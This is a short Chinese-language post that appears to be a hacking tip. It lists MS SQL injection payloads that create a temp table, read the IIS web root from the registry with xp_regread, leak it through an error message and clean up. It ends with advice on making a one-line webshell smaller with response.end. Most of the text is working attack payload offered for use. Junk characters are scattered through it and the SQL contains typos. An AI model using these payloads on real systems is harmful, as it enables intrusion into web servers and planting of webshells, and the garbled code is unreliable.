1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表8 ?( [) F3 h# @+ I8 V$ ~7 `" y c
9 W$ c9 M8 s3 f% ~% X0 m& W
+ ~3 @0 F6 Z# X3 T- j( | 2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
4 p5 H' [# s Y; G- B) X, ]
6 K3 ]7 ?! s) A3 m3 y( N
* l7 K# W2 P. B' x0 c 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段
5 T% w1 o. ?* r5 t2 A. s
: ^+ S) O S0 w+ j# X3 p0 G) D9 I% \- v n& B& P5 m
4、drop table [jm_tmp]-- 删除此表。) |- h6 h2 V" |6 T
e- ^- A6 N3 a
0 S' D" \" h2 p- n" h" c另附上备分专用一句话
- c& B: ?( V% Q8 `+ l 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
@$ W! U7 h9 g Q |